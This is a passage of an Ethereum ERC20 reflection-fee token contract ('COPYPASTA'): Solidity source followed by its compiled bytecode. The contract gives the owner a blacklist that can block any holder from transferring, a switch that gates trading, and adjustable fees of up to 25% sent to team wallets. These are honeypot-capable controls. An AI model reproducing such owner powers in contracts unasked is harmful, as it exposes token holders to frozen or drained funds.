true; _isExcludedFromFee[_devWalletAddress] = true; _isExcludedFromFee[_BuyBackW] = true; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_devTax == 0 && _summedTax == 0) return; _devTax = 0; _summedTax = 0; } function restoreAllFee() private { _devTax = _buyDevTax; _marketingTax = _buyMarketingTax; _salesTax = _buyBuyBackTax; _summedTax = _marketingTax+_salesTax; } function takeBuyFee() private { _salesTax = _buyBuyBackTax; _marketingTax = _buyMarketingTax; _devTax = _buyDevTax; _summedTax = _marketingTax+_salesTax; } function takeSellFee() private { _devTax = _sellDevTax; _salesTax = _sellBuyBackTax; _marketingTax = _sellMarketingTax; _summedTax = _sellBuyBackTax+_sellMarketingTax; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } if(from != address(this)){ require(amount <= _maxTxAmount); } require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } if (from != owner() && to != owner() && to != uniswapV2Pair) { require(swapEnabled, "Swap disabled"); _tokenTransfer(from, to, amount, takeFee); } else { _tokenTransfer(from, to, amount, takeFee); } } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), type(uint256).max); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _Marketingfund.transfer(amount.div(_totalSellTax).mul(_sellMarketingTax)); _devWalletAddress.transfer(amount.div(_totalSellTax).mul(_sellDevTax)); _BuyBackW.transfer(amount.div(_totalSellTax).mul(_sellBuyBackTax)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 20000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external onlyOwner() { swapEnabled = enabled; } function manualswap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function setBot(address _bot) external onlyOwner() { bots[_bot] = true; } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { uint256 amountToTx = amount; if (!takeFee) { removeAllFee(); } else if(sender == uniswapV2Pair) { takeBuyFee(); } else { takeSellFee(); } _transferStandard(sender, recipient, amountToTx); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _devTax, _summedTax); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 _taxFee = taxFee > 0 ? taxFee : 1; uint256 _TeamFee = TeamFee > 0 ? TeamFee : 1; uint256 tFee = tAmount.mul(_taxFee).div(100); uint256 tTeam = tAmount.mul(_TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external onlyOwner() { require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _summedTax = teamFee; } }
0x6080604052600436106101855760003560e01c806395d89b41116100d1578063cba0e9961161008a578063dd62ed3e11610064578063dd62ed3e1461053f578063e01af92c1461057c578063e47d6060146105a5578063f2fde38b146105e25761018c565b8063cba0e996146104ae578063d00efb2f146104eb578063d543dbeb146105165761018c565b806395d89b41146103c6578063a9059cbb146103f1578063b515566a1461042e578063c0e6b46e14610457578063c3c8cd8014610480578063c9567bf9146104975761018c565b8063313ce5671161013e5780636fc3eaec116101185780636fc3eaec1461033057806370a0823114610347578063715018a6146103845780638da5cb5b1461039b5761018c565b8063313ce567146102b35780635932ead1146102de5780636b5caec4146103075761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd14610224578063273123b714610261578063286671621461028a5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661060b565b6040516101b3919061317a565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613244565b610648565b6040516101f0919061329f565b60405180910390f35b34801561020557600080fd5b5061020e610666565b60405161021b91906132c9565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906132e4565b610676565b604051610258919061329f565b60405180910390f35b34801561026d57600080fd5b5061028860048036038101906102839190613337565b61074f565b005b34801561029657600080fd5b506102b160048036038101906102ac9190613364565b61083f565b005b3480156102bf57600080fd5b506102c861092f565b6040516102d591906133ad565b60405180910390f35b3480156102ea57600080fd5b50610305600480360381019061030091906133f4565b610938565b005b34801561031357600080fd5b5061032e60048036038101906103299190613337565b6109ea565b005b34801561033c57600080fd5b50610345610ada565b005b34801561035357600080fd5b5061036e60048036038101906103699190613337565b610b80565b60405161037b91906132c9565b60405180910390f35b34801561039057600080fd5b50610399610bd1565b005b3480156103a757600080fd5b506103b0610d24565b6040516103bd9190613430565b60405180910390f35b3480156103d257600080fd5b506103db610d4d565b6040516103e8919061317a565b60405180910390f35b3480156103fd57600080fd5b5061041860048036038101906104139190613244565b610d8a565b604051610425919061329f565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190613593565b610da8565b005b34801561046357600080fd5b5061047e60048036038101906104799190613364565b610ed2565b005b34801561048c57600080fd5b50610495610fe2565b005b3480156104a357600080fd5b506104ac611090565b005b3480156104ba57600080fd5b506104d560048036038101906104d09190613337565b6112c0565b6040516104e2919061329f565b60405180910390f35b3480156104f757600080fd5b50610500611316565b60405161050d91906132c9565b60405180910390f35b34801561052257600080fd5b5061053d60048036038101906105389190613364565b61131c565b005b34801561054b57600080fd5b50610566600480360381019061056191906135dc565b611464565b60405161057391906132c9565b60405180910390f35b34801561058857600080fd5b506105a3600480360381019061059e91906133f4565b6114eb565b005b3480156105b157600080fd5b506105cc60048036038101906105c79190613337565b61159d565b6040516105d9919061329f565b60405180910390f35b3480156105ee57600080fd5b506106096004803603810190610604919061365a565b6115f3565b005b60606040518060400160405280600981526020017f434f505950415354410000000000000000000000000000000000000000000000815250905090565b600061065c6106556117b5565b84846117bd565b6001905092915050565b6000670de0b6b3a7640000905090565b6000610683848484611988565b6107448461068f6117b5565b61073f8560405180606001604052806028815260200161420160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106f56117b5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123849092919063ffffffff16565b6117bd565b600190509392505050565b6107576117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107db906136d3565b60405180910390fd5b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6108476117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cb906136d3565b60405180910390fd5b600181101580156108e6575060198111155b610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c9061373f565b60405180910390fd5b8060138190555050565b60006009905090565b6109406117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c4906136d3565b60405180910390fd5b80601c60176101000a81548160ff02191690831515021790555050565b6109f26117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a76906136d3565b60405180910390fd5b6001601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ae26117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b66906136d3565b60405180910390fd5b6000479050610b7d816123e8565b50565b6000610bca600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259e565b9050919050565b610bd96117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d906136d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4350415354410000000000000000000000000000000000000000000000000000815250905090565b6000610d9e610d976117b5565b8484611988565b6001905092915050565b610db06117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e34906136d3565b60405180910390fd5b60005b8151811015610ece57600160166000848481518110610e6257610e6161375f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ec6906137bd565b915050610e40565b5050565b610eda6117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5e906136d3565b60405180910390fd5b60008111610faa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa190613852565b60405180910390fd5b610fd9612710610fcb83670de0b6b3a764000061260c90919063ffffffff16565b61268790919063ffffffff16565b60158190555050565b610fea6117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611077576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106e906136d3565b60405180910390fd5b600061108230610b80565b905061108d816126d1565b50565b6110986117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611125576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111c906136d3565b60405180910390fd5b601c60149054906101000a900460ff1615611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c906138be565b60405180910390fd5b6001601c60166101000a81548160ff0219169083151502179055506000601c60176101000a81548160ff02191690831515021790555066470de4df820000601d8190555043601e819055506001601c60146101000a81548160ff021916908315150217905550601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161127a9291906138de565b6020604051808303816000875af1158015611299573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112bd919061391c565b50565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601e5481565b6113246117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a8906136d3565b60405180910390fd5b600081116113f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113eb90613852565b60405180910390fd5b611422606461141483670de0b6b3a764000061260c90919063ffffffff16565b61268790919063ffffffff16565b601d819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601d5460405161145991906132c9565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114f36117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611577906136d3565b60405180910390fd5b80601c60166101000a81548160ff02191690831515021790555050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6115fb6117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611688576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167f906136d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ef906139bb565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561182d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182490613a4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561189d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189490613adf565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197b91906132c9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ef90613b71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5f90613c03565b60405180910390fd5b60008111611aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa290613c95565b60405180910390fd5b611ab3610d24565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b215750611af1610d24565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561218b57601c60179054906101000a900460ff1615611d54573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ba357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bfd5750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611c575750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d5357601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611c9d6117b5565b73ffffffffffffffffffffffffffffffffffffffff161480611d135750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611cfb6117b5565b73ffffffffffffffffffffffffffffffffffffffff16145b611d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4990613d01565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611d9757601d54811115611d9657600080fd5b5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e3b5750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611e915750601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611e9a57600080fd5b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f455750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f9b5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fb35750601c60179054906101000a900460ff165b156120545742601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061200357600080fd5b600f426120109190613d21565b601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061205f30610b80565b905060155481106120705760155490505b60006014548210159050601c60159054906101000a900460ff161580156120a35750601c60169054906101000a900460ff165b80156120ac5750805b80156121065750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121605750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156121885761216e826126d1565b6000479050600081111561218657612185476123e8565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122325750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561223c57600090505b612244610d24565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156122b25750612282610d24565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561230c5750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561237157601c60169054906101000a900460ff16612360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235790613dc3565b60405180910390fd5b61236c8484848461296a565b61237e565b61237d8484848461296a565b5b50505050565b60008383111582906123cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c3919061317a565b60405180910390fd5b50600083856123db9190613de3565b9050809150509392505050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61244d600d5461243f6012548661268790919063ffffffff16565b61260c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612478573d6000803e3d6000fd5b50601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124de600a546124d06012548661268790919063ffffffff16565b61260c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612509573d6000803e3d6000fd5b50601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256f6010546125616012548661268790919063ffffffff16565b61260c90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561259a573d6000803e3d6000fd5b5050565b60006006548211156125e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125dc90613e89565b60405180910390fd5b60006125ef612a0e565b9050612604818461268790919063ffffffff16565b915050919050565b60008083141561261f5760009050612681565b6000828461262d9190613ea9565b905082848261263c9190613f32565b1461267c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267390613fd5565b60405180910390fd5b809150505b92915050565b60006126c983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a39565b905092915050565b6001601c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561270957612708613450565b5b6040519080825280602002602001820160405280156127375781602001602082028036833780820191505090505b509050308160008151811061274f5761274e61375f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156127f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061281a919061400a565b8160018151811061282e5761282d61375f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506128b530601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6117bd565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161291995949392919061413a565b600060405180830381600087803b15801561293357600080fd5b505af1158015612947573d6000803e3d6000fd5b50505050506000601c60156101000a81548160ff02191690831515021790555050565b6000829050816129815761297c612a9c565b6129ee565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156129e4576129df612acd565b6129ed565b6129ec612b00565b5b5b6129f9858583612b33565b81612a0757612a06612cfe565b5b5050505050565b6000806000612a1b612d31565b91509150612a32818361268790919063ffffffff16565b9250505090565b60008083118290612a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a77919061317a565b60405180910390fd5b5060008385612a8f9190613f32565b9050809150509392505050565b6000600854148015612ab057506000601354145b15612aba57612acb565b600060088190555060006013819055505b565b600f54600e81905550600c54600b81905550600954600881905550600e54600b54612af89190613d21565b601381905550565b600a54600881905550601054600e81905550600d54600b81905550600d54601054612b2b9190613d21565b601381905550565b600080600080600080612b4587612d90565b955095509550955095509550612ba386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612df890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c3885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e4290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c8481612ea0565b612c8e8483612f5d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612ceb91906132c9565b60405180910390a3505050505050505050565b600954600881905550600c54600b81905550600f54600e81905550600e54600b54612d299190613d21565b601381905550565b600080600060065490506000670de0b6b3a76400009050612d65670de0b6b3a764000060065461268790919063ffffffff16565b821015612d8357600654670de0b6b3a7640000935093505050612d8c565b81819350935050505b9091565b6000806000806000806000806000612dad8a600854601354612f97565b9250925092506000612dbd612a0e565b90506000806000612dd08e878787613058565b9250925092508282828989899c509c509c509c509c